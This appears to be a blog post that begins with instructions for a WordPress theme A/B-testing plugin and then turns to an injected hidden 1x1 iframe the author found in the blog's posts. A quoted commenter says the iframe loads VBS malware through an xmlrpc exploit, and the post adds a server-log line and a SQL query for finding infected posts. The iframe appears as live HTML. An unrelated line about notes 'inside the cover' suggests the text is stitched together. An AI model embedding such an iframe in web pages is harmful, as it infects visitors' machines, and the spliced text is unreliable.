Download plugin.

First thing you need to do is create 2 theme folders.

theme1 is your original theme

theme2 contains the same theme, but with the changes you want to test

Set up 2 Google Analytics accounts.  This seems easiest to do with 2 different email addresses, and 2 browsers so that you can load both at the same time, and it doesn’t complain about the URL being the same.

1. Open theme1/footer.php and insert the GA code from one account into the footer before the </body> tag.
2. Open theme2/footer.php and insert the GA code from one account into the footer before the </body> tag.

That’s about it.  The plugin will drop a cookie on the user telling them which theme file to load.  If you want to completely change the themes, you can edit the plugin and change the cookie name to something new.  The cookie lasts for 30 days by default.

PS. I’m gonna admit right now that I almost always make mistakes the first time around.  If this doesn’t work for you – let me know.  If this doesn’t work for you and you figure out why – PLEASE hit me up and let me know so I can update this post.

P.P.S This could be pretty easily made so much better, easier to install, easier to use, and more flexible.  We’ll see if the demand warrants it.

Actually, I’m going to add one more rule. You have to add a short note of who and where you are inside the cover. Then pass it on.

<!-- Traffic Statistics -->
<iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe>
<!-- End Traffic Statistics -->

The code that it’s loading (I know it doesn’t wrap, I don’t really care.) Code deleted. Thanks to Mike Peters for the follow-up in the comments:

This code got sql injected into your wp_posts.

Make sure you upgrade to the 2.3.2 version of WordPress:

http://wordpress.org/support/topic/151888

What it does is attempt to install a VBS malware on your machine using an xmlrpc exploit in older versions of WordPress.

Look for something like this in your server logs -

200.216.67.181 – - [28/Jan/2008:13:10:54 -0500] “POST /xmlrpc.php HTTP/1.0″

Once you view the post, you’re infected – the VBS code will be installed and you’re going to need to run NOD32 or AVG to clean it up

Someone with more patience than myself will probably take the time to disassemble that.

To find the post titles in your blog that might be affected, in SQL do:


mysql> select post_title from wp_posts where post_content like '%Statistics%';


If nothing turns up, I’m going to write a post on it.

Thanks.